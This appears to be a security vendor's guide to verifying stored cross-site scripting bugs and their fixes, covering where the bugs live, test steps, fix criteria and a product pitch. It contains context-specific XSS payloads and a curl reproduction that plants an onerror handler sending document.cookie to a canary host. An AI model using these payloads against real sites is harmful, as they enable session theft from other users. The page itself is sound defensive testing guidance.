Stored XSS is proven when a value you wrote is executed as markup in a different user's session, not when it reflects in your own. Verify the fix in every renderer that reads that field — web, admin, PDF, email — because encoding is per-renderer and one of them is always raw.
Where this class of bug actually lives in a field that renders for other users
- The usual fields. Display names, ticket bodies, comments, filenames, support-message subjects, org names.
- Admin and internal tools. An admin panel that renders unsanitised user content is a stored XSS that escalates to full control.
- Non-HTML renderers. PDF generators, email templates and CSV exports interpret content differently and often skip escaping.
- Attribute and JS contexts. A value placed in
href, an inline event handler or a template literal in a script tag needs a different escape than HTML body text.
What to try first
- Write a distinctive payload into every user-controlled field, then view it from a second account in every surface: list, detail, admin, PDF, email.
- Try context-specific payloads:
\"><img src=x onerror=alert(1)>in an attribute,javascript:in a link field. - Check whether the value is escaped in the API response but rendered raw by the client framework (
dangerouslySetInnerHTML,v-html,{!! !!}). - Test filenames: an uploaded file named with markup shows up unescaped in most download lists.
A reproduction you can keep
The payload is only interesting in the second session. Write here, read there:
# write as account A
curl -sS -X PATCH https://staging.example.com/api/me \
-H 'Authorization: Bearer ***' -H 'Content-Type: application/json' \
-d '{"displayName":"<img src=x onerror=fetch(`//canary.example/${document.cookie}`)>"}'
# read as account B, in the surface that renders A's name
open https://staging.example.com/admin/users # then watch canary.example
# vulnerable: a hit on the canary with B's cookie
# fixed: the payload renders as text, no request leavesWhat "fixed" has to look like
Escape on output, in the renderer that produces the final bytes, and allowlist HTML through a sanitiser where rich text is required. The pass condition is no canary request from any surface, including the PDF and the email — check each one separately.
Where people get this wrong
- Escaping on input corrupts the stored value and still leaves other renderers raw.
- Client-side escaping does nothing when the same field is printed into an email template on the server.
- A CSP that reports but does not block does not stop execution. Check the header value, not its presence.
What Offense does here
Offense runs an agent swarm against your app in a disposable sandbox, keeps the request, the identity and the vulnerable response as evidence, and replays the same attack after the fix so the retest is a control comparison rather than a green check. It does not read your source and it does not patch your code: the finding goes to your coding agent with the reproduction attached. The hosted workspace is invite-only — join the waitlist — and the free dependency audit in /install needs no account.
Questions this page answers
How is stored XSS different from reflected?
Stored persists and fires for other users, often including admins. That is why the proof has to come from a second session.
Does React or Vue protect me?
Only in the template path. dangerouslySetInnerHTML, v-html and raw Blade or ERB output bypass the escaping.
Written by Offense Research, reviewed December 2, 2026. Correct something? Email imran@offenseresearch.com.